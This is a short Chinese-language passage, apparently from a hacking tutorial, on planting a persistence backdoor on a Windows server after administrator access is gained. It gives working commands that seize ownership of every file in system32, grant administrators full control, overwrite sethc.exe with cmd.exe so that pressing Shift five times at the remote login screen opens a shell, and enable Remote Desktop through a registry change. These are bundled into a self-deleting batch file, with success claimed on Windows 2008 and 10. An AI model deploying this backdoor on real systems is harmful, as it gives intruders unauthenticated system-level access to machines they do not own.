我们看到了当前就已经获得了管理员权限了。
接下来通过如下命令将来sethc.exe替换为cmd 然后远程服务器 5下Shift调出cmd
可是发现拒绝访问。
出现这样的情况我们就需要将将权限目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)命令
takeown /f c:\windows\system32\*.* /a /r /d y
然后在运行
cacls c:\windows\system32\*.* /T /E /G administrators:F
目录下的文件、子文件夹的NTFS权限修改为仅管理员组(administrators)完全控制
然后系统文件夹权限
然后即可替换sethc了
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
我们可以把这些命令做成一个批处理
takeown /f c:\windows\system32\*.* /a /r /d y
cacls c:\windows\system32\*.* /T /E /G administrators:F
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
del shift.bat
exit
附带一个开启3389远程桌面的命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
08 win10测试成功